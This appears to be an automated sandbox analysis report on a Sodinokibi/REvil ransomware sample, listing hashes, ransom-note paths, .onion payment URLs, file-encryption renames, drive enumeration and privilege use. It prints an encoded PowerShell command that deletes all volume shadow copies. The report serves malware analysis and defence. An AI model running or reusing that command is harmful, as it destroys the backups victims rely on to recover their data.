Analysis
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max time kernel
122s -
max time network
131s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:55
Static task
static1
Behavioral task
behavioral1
Sample
da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe
Resource
win10-en-20211208
General
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Target
da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe
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Size
183KB
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MD5
e7d37da33838e4f42a6f4c53529e547b
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SHA1
0ad890e173e3a785deead0ef9260f52477a39eb8
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SHA256
da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a
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SHA512
4b41dd537f15b885e00e015789af9923d5cad72ee19c98586da099e81cf0e93098ac0ddef8a1746ce0753dec0c8514a61f3fe7929495a2a254a4de3238684dd7
Malware Config
Extracted
C:\e9a1c02o97-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D207F93CAC34D42E
http://decryptor.cc/D207F93CAC34D42E
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Modifies extensions of user files 14 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exedescription ioc process File renamed C:\Users\Admin\Pictures\OpenRestore.crw => \??\c:\users\admin\pictures\OpenRestore.crw.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File renamed C:\Users\Admin\Pictures\SyncLimit.png => \??\c:\users\admin\pictures\SyncLimit.png.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File renamed C:\Users\Admin\Pictures\TestSkip.tif => \??\c:\users\admin\pictures\TestSkip.tif.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File renamed C:\Users\Admin\Pictures\ConvertFromGet.crw => \??\c:\users\admin\pictures\ConvertFromGet.crw.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\users\admin\pictures\InvokeSearch.tiff da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File renamed C:\Users\Admin\Pictures\ReceiveRename.png => \??\c:\users\admin\pictures\ReceiveRename.png.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File renamed C:\Users\Admin\Pictures\SuspendGrant.raw => \??\c:\users\admin\pictures\SuspendGrant.raw.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File renamed C:\Users\Admin\Pictures\PushInitialize.crw => \??\c:\users\admin\pictures\PushInitialize.crw.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File renamed C:\Users\Admin\Pictures\ReadUndo.crw => \??\c:\users\admin\pictures\ReadUndo.crw.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\users\admin\pictures\ResolveEnter.tiff da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File renamed C:\Users\Admin\Pictures\ResolveEnter.tiff => \??\c:\users\admin\pictures\ResolveEnter.tiff.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File renamed C:\Users\Admin\Pictures\ExitClose.png => \??\c:\users\admin\pictures\ExitClose.png.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File renamed C:\Users\Admin\Pictures\InvokeSearch.tiff => \??\c:\users\admin\pictures\InvokeSearch.tiff.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File renamed C:\Users\Admin\Pictures\EnableClose.raw => \??\c:\users\admin\pictures\EnableClose.raw.e9a1c02o97 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exedescription ioc process File opened (read-only) \??\F: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\U: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\D: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\B: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\I: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\M: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\O: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\Y: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\A: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\G: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\H: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\J: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\T: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\X: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\R: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\S: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\E: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\K: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\L: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\N: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\P: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\Q: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\V: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\W: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened (read-only) \??\Z: da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\zd3379.bmp" da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe -
Drops file in Program Files directory 39 IoCs
Processes:
da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exedescription ioc process File opened for modification \??\c:\program files\BackupRequest.reg da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\CompressDismount.eprtx da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\SetShow.inf da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\ShowGet.reg da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\SuspendSubmit.wmx da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\ClearWait.mp3 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\GroupSync.docx da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\OpenInitialize.mov da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\RepairPublish.asf da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\e9a1c02o97-readme.txt da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\ClearConfirm.mp4 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\OutConnect.xltx da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\OutSet.ogg da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\RevokeStep.rar da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\SuspendTrace.asp da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File created \??\c:\program files (x86)\e9a1c02o97-readme.txt da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\HideSuspend.mpe da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\SyncPush.edrwx da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\DisableComplete.cfg da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\ImportConfirm.tiff da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\ResolveSync.001 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\SkipNew.WTV da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File created \??\c:\program files\e9a1c02o97-readme.txt da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\AssertClose.xml da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\ConfirmDisconnect.contact da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\HideWrite.xlsm da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\MergeRestore.css da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\RepairResume.mov da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\RestartTest.xps da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\e9a1c02o97-readme.txt da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\ConvertFromConfirm.001 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\DisconnectResolve.xht da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\LockSet.TS da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\UseCopy.jpe da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\e9a1c02o97-readme.txt da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\DenyRestart.dib da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\DismountResolve.rar da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\NewConnect.jpg da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe File opened for modification \??\c:\program files\ResumeUninstall.raw da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exepowershell.exepid process 1916 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe 532 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1916 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe Token: SeDebugPrivilege 532 powershell.exe Token: SeBackupPrivilege 1792 vssvc.exe Token: SeRestorePrivilege 1792 vssvc.exe Token: SeAuditPrivilege 1792 vssvc.exe Token: SeTakeOwnershipPrivilege 1916 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exedescription pid process target process PID 1916 wrote to memory of 532 1916 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe powershell.exe PID 1916 wrote to memory of 532 1916 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe powershell.exe PID 1916 wrote to memory of 532 1916 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe powershell.exe PID 1916 wrote to memory of 532 1916 da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe"C:\Users\Admin\AppData\Local\Temp\da2a3c7f6226de957657318994e7937e1a6fdfcd92b8dd6e2a800406e8a8247a.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1916 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:532
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1804
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1792
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/532-55-0x000007FEFB8C1000-0x000007FEFB8C3000-memory.dmpFilesize
8KB
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memory/532-57-0x0000000002640000-0x0000000002642000-memory.dmpFilesize
8KB
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memory/532-58-0x0000000002642000-0x0000000002644000-memory.dmpFilesize
8KB
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memory/532-59-0x0000000002644000-0x0000000002647000-memory.dmpFilesize
12KB
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memory/532-56-0x000007FEF2B40000-0x000007FEF369D000-memory.dmpFilesize
11.4MB
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memory/532-60-0x000000000264B000-0x000000000266A000-memory.dmpFilesize
124KB
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memory/1916-54-0x0000000076041000-0x0000000076043000-memory.dmpFilesize
8KB